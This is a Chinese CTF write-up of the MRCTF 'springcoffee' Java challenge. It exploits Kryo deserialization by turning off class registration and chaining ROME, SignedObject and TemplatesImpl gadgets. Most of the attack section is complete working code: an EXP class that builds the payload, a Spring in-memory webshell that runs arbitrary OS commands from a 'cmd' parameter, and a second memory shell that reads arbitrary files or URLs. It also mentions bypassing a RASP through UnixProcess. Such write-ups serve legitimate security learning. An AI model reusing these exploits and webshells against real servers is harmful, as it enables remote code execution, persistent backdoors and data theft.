MRCTF springcoffe

·
Java代码审计 no tag April 28, 2022

代码分析

题目给出源码。查看一下有一个kryo的反序列化点。

image-20220428094356736

然后后面的demo路由主要是用来修改kryo反序列化路由的一些配置。

这里自己先写一个最简单的kryo序列化和反序列化查看下效果

import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import fun.mrctf.springcoffee.model.ExtraFlavor;
import fun.mrctf.springcoffee.model.Mocha;

import java.io.*;
import java.util.Base64;

public class Test {
    static public void main(String[] args) throws Exception {
        Kryo kryo = new Kryo();
        kryo.register(Mocha.class);//注册Mocha类
        Mocha mocha = new Mocha();


        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        Output output = new Output(outputStream);
        kryo.writeClassAndObject(output, mocha);
        output.close();


        String exp = Base64.getEncoder().encodeToString(outputStream.toByteArray());
        System.out.println(exp);


        ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(exp));
        Input input = new Input(bas);
        ExtraFlavor flavor = (ExtraFlavor)kryo.readClassAndObject(input);

        input.close();
        System.out.println(flavor.getName());

    }

}

如果没有注册Mocha类就会报错:

image-20220428095647317

这个在反序列化题目的类时候待会也会用到。

因为题目有rome1.7这个和上次比赛的ezchain很像。于是我把上次比赛的代码拿过来用一下。

构造好后发现

image-20220428100323546

这是因为kryo在开始的时候只会注册一些基本类。所以HashMap类他会报错。

题目中只有this.kryo.register(Mocha.class);怎么办呢?

于是前面出题人给出一个可以修改配置的地方。

先复制一下代码看一下可以调的配置

image-20220428102520728

public void com.esotericsoftware.kryo.Kryo.setRegistrationRequired(boolean)
public void com.esotericsoftware.kryo.Kryo.setDefaultSerializer(java.lang.Class)
public void com.esotericsoftware.kryo.Kryo.setDefaultSerializer(com.esotericsoftware.kryo.SerializerFactory)
public void com.esotericsoftware.kryo.Kryo.setCopyReferences(boolean)
public void com.esotericsoftware.kryo.Kryo.setInstantiatorStrategy(org.objenesis.strategy.InstantiatorStrategy)
public void com.esotericsoftware.kryo.Kryo.setWarnUnregisteredClasses(boolean)
public void com.esotericsoftware.kryo.Kryo.setOptimizedGenerics(boolean)
public void com.esotericsoftware.kryo.Kryo.setReferenceResolver(com.esotericsoftware.kryo.ReferenceResolver)
public void com.esotericsoftware.kryo.Kryo.setClassLoader(java.lang.ClassLoader)
public boolean com.esotericsoftware.kryo.Kryo.setReferences(boolean)
public void com.esotericsoftware.kryo.Kryo.setAutoReset(boolean)
public void com.esotericsoftware.kryo.Kryo.setMaxDepth(int)

首先是解决注册问题。

https://github.com/EsotericSoftware/kryo/blob/master/README.md#optional-registration

发现是这个选项。进行尝试序列化与反序列化

image-20220428103232883

发现报错Class cannot be created (missing no-arg constructor): com.rometools.rome.feed.impl.EqualsBean

发现我们这个rome链中的这个选项是没有无参构造函数的。于是继续寻找配置

最终发现https://github.com/EsotericSoftware/kryo/blob/master/README.md#instantiatorstrategy

这里修改配置

{
        "polish":True,
        "RegistrationRequired":False,
        "InstantiatorStrategy":"org.objenesis.strategy.StdInstantiatorStrategy",
    }

即可执行任意字节码。

我们选择注册一个内存马。

注入内存马的时候发现之前的脚本不好使。查了一下发现springboot2.6以后RequestMappingInfo的初始化构造发生了一些变化

image-20220428113804042

https://copyfuture.com/blogs-details/202204220252518361#14_ControllerSpringboot_260__299

我使用的内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class SpringControllerMemShell2 extends AbstractTranslet {

    public SpringControllerMemShell2() {

        try {

            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = SpringControllerMemShell2.class.getMethod("test");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/yang999")
                    .options(config)
                    .build();
            SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        } catch (Exception e) {

        }
    }
    public SpringControllerMemShell2(String aaa) {

    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public void test() throws IOException {

        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {

            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {

                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {

                    p = new ProcessBuilder(new String[]{
                            "cmd.exe", "/c", arg0});
                } else {

                    p = new ProcessBuilder(new String[]{
                            "/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {

                response.sendError(404);
            }
        } catch (Exception e) {

        }
    }
}

EXP


import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import fun.mrctf.springcoffee.model.ExtraFlavor;
import javassist.*;

import java.io.*;
import java.lang.reflect.Field;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.objenesis.strategy.StdInstantiatorStrategy;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.HashMap;


import javax.xml.transform.Templates;
import java.util.Base64;

public class EXP {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }

    public static void main(String[] args) throws Exception {
        Kryo kryo = new Kryo();
        kryo.setRegistrationRequired(false);
        kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(SpringControllerMemShell2.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, obj);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

        HashMap<Object, Object> hashmap = makeMap(root,root);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);

        ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
        EqualsBean root1 = new EqualsBean(ToStringBean.class, item);

        HashMap<Object, Object> hashmap1 = makeMap(root1,root1);

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        Output output = new Output(outputStream);
        kryo.writeClassAndObject(output, hashmap1);
        output.close();


        String exp = Base64.getEncoder().encodeToString(outputStream.toByteArray());
        System.out.println(exp);

        ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(exp));
        Input input = new Input(bas);
        ExtraFlavor flavor = (ExtraFlavor)kryo.readClassAndObject(input);

        input.close();
        System.out.println(flavor.getName());
//        byte[] bytes = byteArrayOutputStream.toByteArray();
//        String exp = Base64.getEncoder().encodeToString(bytes);
//        System.out.println(exp);

//        try {
//            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
//            Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
//            System.out.println(hessian2Input.readObject());
//        } catch (Exception e) {
//            System.out.println(e);
//        }

    }
}

本地通了。但是远程没通。看公告说有waf

这里写一下读文件的内存马

image-20220428131015308

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;

public class FileRead extends AbstractTranslet {

    public FileRead() {

        try {

            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = FileRead.class.getMethod("test");
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/fileread")
                    .options(config)
                    .build();
            FileRead fileRead = new FileRead("aaa");
            mappingHandlerMapping.registerMapping(info, fileRead, method2);
        } catch (Exception e) {

        }
    }
    public FileRead(String aaa) {

    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public void test() throws IOException {

        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        PrintWriter writer = response.getWriter();
     //exec
        try {
        String urlContent = "";
        final URL url = new URL(request.getParameter("read"));
        final BufferedReader in = new BufferedReader(new
                InputStreamReader(url.openStream()));
        String inputLine = "";
        while ((inputLine = in.readLine()) != null) {
            urlContent = urlContent + inputLine + "\n";
        }
        in.close();
            writer.write(urlContent);
            writer.flush();
            writer.close();
    } catch (Exception e) {

    }

}

    public static void main(String[] args) {

    }
}

无法直接读flag。里面有jrasp.jar

读取jasp查看做了什么waf。

为了绕过

我们可以直接调用UnixProcess这个更为底层的类去执行方法

  • k8s集群搭建
  • CVE-2022-27925复现
取消回复

说点什么?

© 2023 Yang_99的小窝. Using Typecho & Moricolor.